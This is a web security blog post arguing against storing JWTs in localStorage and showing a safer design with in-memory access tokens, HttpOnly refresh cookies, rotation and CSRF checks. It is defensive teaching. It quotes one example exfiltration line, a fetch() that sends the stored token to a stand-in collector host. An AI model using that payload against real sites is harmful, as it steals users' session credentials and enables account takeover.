</>CodeWithKarani

Storing JWTs in localStorage Turns Any XSS Into Account Takeover

Karani GeoffreyKarani Geoffrey9 min read

One transitive npm dependency gets compromised. Or a marketing person pastes a tag manager snippet. Or a comment field renders user HTML without escaping it. Whatever the route, some JavaScript that you did not write now runs on your page, and it does this:

fetch('https://collector.example/p?d=' + localStorage.getItem('token'));

That is the entire exploit. No CSRF token to defeat, no same-origin policy to work around, no user interaction. The attacker now holds a bearer token they can replay from a laptop in another country, at 3am, for as long as that token lives, and every request they make will look completely legitimate to your API.

Nearly every "add JWT auth to your React app" tutorial teaches this, because localStorage.setItem is one line and cookies are three. The tutorials are not wrong that it works. They are wrong about what it costs when something else goes wrong.

keep the access token in a plain JavaScript variable in memory with a short lifetime (5 to 15 minutes), and keep the refresh token in a cookie marked HttpOnly; Secure; SameSite=Strict and scoped with Path to your refresh endpoint only. JavaScript cannot read an HttpOnly cookie, so an XSS payload cannot exfiltrate the long-lived credential. Rotate the refresh token on every use and revoke the whole family if an old one is presented twice. Never put anything in localStorage that you would not print on a billboard.

The objection worth taking seriously first

Before the how, deal with the argument that every one of these articles skips: if an attacker has XSS on your page, you are already finished, so who cares where the token lives?

It is a real argument, and it is wrong in the way that matters. Security is not binary; it is about blast radius, dwell time and what remediation costs you. Consider the same XSS bug under both storage models:

Token in localStorageRefresh token in HttpOnly cookie
What the payload getsThe credential itself, as a stringNothing readable. It must make requests from the page.
Where the attack can run fromAnywhere, any machine, any countryOnly the victim's browser, only while the page is open
How long it lastsUntil the token expires, often daysUntil the tab is closed
What you must do to stop itRevoke every issued token, force global re-authFix the XSS, rotate the affected sessions
What your logs showA valid token from a new IP, looks fineOdd request patterns from a real session
Can it be automated at scaleYes, harvest thousands of tokens quietlyMuch harder, needs live victims

"Already finished" versus "an attacker had to work inside a narrow window and left tracks" is not a rounding error. It is the difference between a rough week and a breach notification. If you operate in Kenya, the Data Protection Act 2019 puts breach duties on you as data controller, and "we could not tell which accounts were affected because the tokens were stateless and exfiltrated" is a terrible sentence to write in that notification.

Same XSS bug, two blast radii localStorage Injected JS reads the token as a string One fetch() sends it off the machine Replayed anywhere, for days, silently HttpOnly cookie Injected JS reads nothing at all Must act inside the open tab Dies when the tab closes, leaves traces
The XSS is equally bad in both lanes. What differs is whether the attacker walks away with a portable, replayable credential.

Why the tutorials end up in localStorage anyway

It is not laziness, it is a specific missing piece. Keeping the token in a React state variable feels obviously correct until the user presses F5 and gets logged out. At that point the tutorial author reaches for localStorage because it is the only persistence they know about, and everything downstream follows.

The missing piece is that you do not need the access token to survive a reload. You need the ability to get a new one. That is what the refresh cookie is for: the browser sends it automatically, JavaScript never touches it, and on app boot you exchange it for a fresh access token before you render anything authenticated.

POST /api/auth/login Response: Set-Cookie refresh (HttpOnly, Secure, SameSite, Path-scoped) + access token in the JSON body Access token lives in a module variable Not localStorage, not sessionStorage, not a readable cookie. Gone on reload, and that is fine. API calls send Authorization: Bearer ... Short TTL, so a stolen one is worth little. 401, or a page reload: POST /api/auth/refresh The browser attaches the cookie by itself. Your JavaScript never sees it. Server rotates the refresh token and issues a new access token
The reload problem that pushes people to localStorage is solved by the last two rows, not by persisting the access token.

The implementation

Step 1: Set the refresh cookie correctly on the server

res.cookie('refresh_token', refreshToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  path: '/api/auth/refresh',
  maxAge: 1000 * 60 * 60 * 24 * 30,
});

On the wire that is:

Set-Cookie: refresh_token=...; Max-Age=2592000; Path=/api/auth/refresh; HttpOnly; Secure; SameSite=Strict

Every attribute is load-bearing:

  • HttpOnly is the whole point. document.cookie will not return it.
  • Secure means it is never sent over plain HTTP. Without it, one downgrade or one misconfigured proxy leaks it.
  • SameSite=Strict means it is not attached to cross-site requests, which removes most of the CSRF surface you just introduced by using ambient credentials at all.
  • Path scoped to the refresh endpoint means the cookie is not sent on the other few hundred requests your app makes. Fewer places to leak it, fewer logs it lands in.

Step 2: Keep the access token out of any storage API

let accessToken = null;

export function setAccessToken(token) {
  accessToken = token;
}

export async function apiFetch(url, init = {}) {
  const send = (token) =>
    fetch(url, {
      ...init,
      credentials: 'include',
      headers: {
        ...init.headers,
        ...(token ? { Authorization: `Bearer ${token}` } : {}),
      },
    });

  let res = await send(accessToken);
  if (res.status !== 401) return res;

  const refreshed = await fetch('/api/auth/refresh', {
    method: 'POST',
    credentials: 'include',
  });

  if (!refreshed.ok) {
    accessToken = null;
    window.location.assign('/login');
    return res;
  }

  ({ accessToken } = await refreshed.json());
  return send(accessToken);
}

A module-scoped variable is not magic protection; injected script running in the same realm can reach it if it knows where to look. It is simply not enumerable the way localStorage is. A generic drive-by payload dumps localStorage because that works on thousands of sites. Reaching into your bundler's module closure is a targeted attack against you specifically, which is a completely different level of attacker.

In production, wrap this so that many parallel 401s trigger one refresh, not twenty. A single in-flight promise that everything awaits is enough.

Step 3: Rotate refresh tokens and detect reuse

Every call to /api/auth/refresh should invalidate the presented token and issue a new one. Store refresh tokens server-side (a row per token, with a family identifier, the user, an expiry and a revoked flag) and apply one rule: if a refresh token that has already been used is presented again, revoke the entire family.

That single rule is what turns theft into a detectable event. Either the attacker refreshes first and the real user's next refresh trips the alarm, or the user refreshes first and the attacker's stolen copy trips it. Someone gets logged out and you get a log line, instead of a quiet six-week co-tenancy.

Yes, this means keeping state. That is fine. "JWTs are stateless" is a property of the access token, not a vow of celibacy for your database. You cannot revoke a signed self-contained token without a store, and you need revocation.

Step 4: Handle CSRF, because you now have ambient credentials

SameSite=Strict on the refresh cookie does most of the work. Add an Origin header check on the refresh and logout endpoints and reject anything that is not your own origin. If your app genuinely needs SameSite=None because the API is on a different site, add a double-submit CSRF token, and reconsider the architecture first.

Step 5: Make logout mean something

// Server: clear the cookie AND revoke the stored refresh token family
res.clearCookie('refresh_token', { path: '/api/auth/refresh' });

Clearing the cookie without revoking server-side means a stolen copy still works. Revoking without clearing leaves a dead cookie in the browser. Do both.

Verification

  1. Open the console on a logged-in page and run document.cookie. The refresh token must not appear. If it does, HttpOnly is not set or your framework is setting a second copy.
  2. Run JSON.stringify(localStorage) and JSON.stringify(sessionStorage). No tokens, no user IDs, no API keys. Check after a login, a refresh and a page reload, because libraries love to persist things on your behalf.
  3. In devtools, Application then Cookies. The refresh cookie must show HttpOnly, Secure and SameSite columns populated as intended.
  4. Reload the page. You should stay logged in, with a network tab showing exactly one call to the refresh endpoint.
  5. Replay a used refresh token with curl. It must fail, and the user's session must be revoked. If the old token still works, rotation is not wired up.

What people get wrong

"Encrypt the token before putting it in localStorage." The key has to be in JavaScript for your app to decrypt it, so it is in JavaScript for the attacker too. This is not defence in depth, it is an extra function call.

"sessionStorage is safer than localStorage." Both are readable by any script on the page. sessionStorage is scoped per tab and cleared when the tab closes, which slightly shortens the window and changes nothing about the exfiltration itself.

"We have a strict CSP, so XSS cannot happen." A nonce-based CSP is genuinely one of the best controls you can deploy, and you should. It is also bypassed regularly, and it does not cover a malicious dependency running inside your own bundle with your own nonce. Layer it with cookie storage rather than instead of it.

Putting the JWT in a cookie without HttpOnly. This is the worst configuration available: JavaScript can still read it, and now it is also sent automatically on cross-site requests, so you have added CSRF exposure while keeping the XSS exposure.

Treating this as a front-end styling choice. Token storage is an architecture decision made once at the auth layer, the same way payment integration is an architecture decision and not a library import, which I have argued at length in building a payments port rather than a Daraja wrapper. Retrofitting it after your app has forty components reading localStorage.getItem('token') is genuinely painful.

Assuming this is an exotic concern. Injection through content you did not write is now the default vulnerability class, from user HTML to third-party scripts to model output rendered straight into a page, which is the same family of failure I wrote about in prompt injection as the new SQL injection.

When cookies are genuinely awkward

  1. The API is on a different site to the front end. SameSite=None; Secure plus CORS with an explicit origin and credentials: 'include' works, but you lose the CSRF protection and some privacy modes will drop the cookie. Prefer moving the API to a subdomain of the same site, or proxying it under a path on the same origin.
  2. Native mobile apps. There is no cookie jar you want to rely on. Use the platform keystore (Keychain on iOS, EncryptedSharedPreferences or the Android Keystore) and keep the same short-access-token, rotating-refresh-token model.
  3. Third-party embeds. If your app runs inside someone else's page, you do not control the script environment at all. That is not a storage problem, it is a trust boundary problem, and the answer is a scoped token with minimal permissions.
  4. A legacy app you cannot rewrite today. Shorten the token lifetime hard, bind tokens to a device fingerprint or IP range where you can tolerate the false positives, add anomaly alerting on token use from new locations, and put the migration on the roadmap. Half a fix beats a plan you never execute. The rest of that hardening list is in the security checklist I give small teams running their own servers.

The rule I actually apply: anything in localStorage should be safe to publish. Theme preference, last-used filter, a draft. If losing it would let a stranger act as your user, it does not go there, no matter how many tutorials say otherwise.

Reference: MDN Set-Cookie reference and the OWASP Session Management Cheat Sheet.

Frequently asked questions

Is it really that bad to store a JWT in localStorage?
It is bad in a specific way: any JavaScript running on your page can read localStorage, so a single XSS bug or one compromised dependency hands the attacker a portable credential they can replay from any machine until it expires. With the token in an HttpOnly cookie the same bug still hurts, but the attacker has to operate inside the victim's open tab and cannot walk away with anything reusable.
If an attacker has XSS, are they not already able to do anything anyway?
They can act as the user while the page is open, which is serious, but that is very different from holding the credential itself. An exfiltrated token can be replayed later, from anywhere, at scale, and looks legitimate in your logs. A confined attacker leaves traces, is limited to the session lifetime of an open tab, and is cheaper to remediate because you can revoke that session rather than every token you have ever issued.
How do I stay logged in after a page reload if the access token only lives in memory?
You do not persist the access token, you re-obtain it. The refresh token sits in an HttpOnly cookie that the browser sends automatically, so on app boot you call your refresh endpoint once and get a new short-lived access token back in the response body. This is the piece missing from most tutorials, and it is the reason they fall back to localStorage.
Do HttpOnly cookies mean I now have to worry about CSRF?
Yes, because the browser attaches them automatically. Set SameSite=Strict on the refresh cookie, scope it with Path to the refresh endpoint only, and check the Origin header on state-changing endpoints. If your API is on a different site and you need SameSite=None, add a double-submit CSRF token as well, and consider moving the API to the same site instead.
#JWT#XSS#Cookies#Authentication#React
Keep reading

Related articles